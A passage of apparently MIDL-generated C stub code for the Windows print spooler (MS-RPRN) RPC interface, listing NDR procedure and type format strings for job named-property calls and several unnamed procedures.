*/\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5880 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5882 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5884 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5886 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5888 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum108NotUsedOnWire */\n\n/* 5890 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5892 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5896 */\tNdrFcShort( 0x6c ),\t/* 108 */\n/* 5898 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5900 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5902 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5904 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5906 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5908 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5910 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5912 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5914 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5916 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5918 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum109NotUsedOnWire */\n\n/* 5920 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5922 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5926 */\tNdrFcShort( 0x6d ),\t/* 109 */\n/* 5928 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5930 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5932 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5934 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5936 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5938 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5940 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5942 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5944 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5946 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5948 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcGetJobNamedPropertyValue */\n\n/* 5950 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5952 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5956 */\tNdrFcShort( 0x6e ),\t/* 110 */\n/* 5958 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5960 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 5962 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5964 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 5966 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 5968 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5970 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 5972 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5974 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5976 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5980 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 5982 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 5984 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5986 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 5988 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5990 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5992 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszName */\n\n/* 5994 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5996 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5998 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pValue */\n\n/* 6000 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 6002 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6004 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6006 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6008 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 6010 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSetJobNamedProperty */\n\n/* 6012 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6014 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6018 */\tNdrFcShort( 0x6f ),\t/* 111 */\n/* 6020 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 6022 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6024 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6026 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6028 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 6030 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6032 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 6034 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6036 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6038 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6040 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6042 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 6044 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6046 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6048 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 6050 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6052 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6054 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pProperty */\n\n/* 6056 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6058 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6060 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6062 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6064 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6066 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcDeleteJobNamedProperty */\n\n/* 6068 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6070 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6074 */\tNdrFcShort( 0x70 ),\t/* 112 */\n/* 6076 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 6078 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6080 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6082 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6084 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 6086 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6088 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 6090 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6094 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6096 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6098 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 6100 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6102 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6104 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 6106 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6108 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6110 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszName */\n\n/* 6112 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 6114 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6116 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Return value */\n\n/* 6118 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6120 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6122 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcEnumJobNamedProperties */\n\n/* 6124 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6126 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6130 */\tNdrFcShort( 0x71 ),\t/* 113 */\n/* 6132 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 6134 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6136 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6138 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6140 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 6142 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 6144 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 6146 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6148 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6150 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6152 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 6156 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6158 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6160 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter JobId */\n\n/* 6162 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6164 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6166 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcProperties */\n\n/* 6168 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 6170 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6172 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ppProperties */\n\n/* 6174 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 6176 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6180 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6182 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 6184 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc114 */\n\n/* 6186 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6188 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6192 */\tNdrFcShort( 0x72 ),\t/* 114 */\n/* 6194 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6196 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 6198 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6200 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6202 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6204 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 6206 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6210 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6214 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 6216 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 6218 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6220 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Return value */\n\n/* 6222 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6224 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6226 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc115 */\n\n/* 6228 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6234 */\tNdrFcShort( 0x73 ),\t/* 115 */\n/* 6236 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6238 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6240 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6242 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6244 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 6246 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 6248 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 6250 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6252 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6256 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6258 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 6260 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6262 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6264 */\tNdrFcShort( 0x9b8 ),\t/* Type Offset=2488 */\n\n\t/* Parameter arg_1 */\n\n/* 6266 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 6268 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6270 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6272 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6274 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6276 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Proc116 */\n\n/* 6278 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 6280 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 6284 */\tNdrFcShort( 0x74 ),\t/* 116 */\n/* 6286 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 6288 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 6290 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6292 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 6294 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 6296 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 6298 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 6300 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 6302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6306 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 6308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter arg_0 */\n\n/* 6310 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 6312 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 6314 */\tNdrFcShort( 0x9b8 ),\t/* Type Offset=2488 */\n\n\t/* Parameter arg_1 */\n\n/* 6316 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 6318 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 6320 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 6322 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 6324 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 6326 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString =\n    {\n        0,\n        {\n\t\t\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  2 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/*  4 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/*  6 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/*  8 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (10) */\n/* 10 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 14 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 16 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 18 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 20 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 22 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 26 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 30 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 32 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 34 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 36 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 38 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (40) */\n/* 40 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 42 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 44 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 46 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (70) */\n/* 48 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 50 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 52 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 54 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 56 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 58 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 60 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 64 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 68 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 70 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 72 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 74 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 76 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (82) */\n/* 78 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 80 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 82 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 84 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (48) */\n/* 86 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 88 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 90 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 92 */\tNdrFcShort( 0x12a ),\t/* Offset= 298 (390) */\n/* 94 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 96 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 98 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 100 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 102 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 104 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 108 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 112 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (114) */\n/* 114 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 116 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 118 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 122 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (144) */\n/* 124 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 128 */\tNdrFcShort( 0x56 ),\t/* Offset= 86 (214) */\n/* 130 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 134 */\tNdrFcShort( 0xa2 ),\t/* Offset= 162 (296) */\n/* 136 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 140 */\tNdrFcShort( 0xa8 ),\t/* Offset= 168 (308) */\n/* 142 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (141) */\n/* 144 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 146 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (162) */\n/* 148 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 150 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 152 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 154 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 156 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 158 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 160 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 162 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 164 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 166 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 168 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (190) */\n/* 170 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 172 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 174 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 176 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 178 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 180 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 182 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 184 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffdb ),\t/* Offset= -37 (148) */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 188 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 190 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 192 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 194 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 196 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 198 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 200 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 202 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 204 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 206 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 208 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 210 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 212 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 214 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 216 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (218) */\n/* 218 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 220 */\tNdrFcShort( 0xa0 ),\t/* 160 */\n/* 222 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 224 */\tNdrFcShort( 0x20 ),\t/* Offset= 32 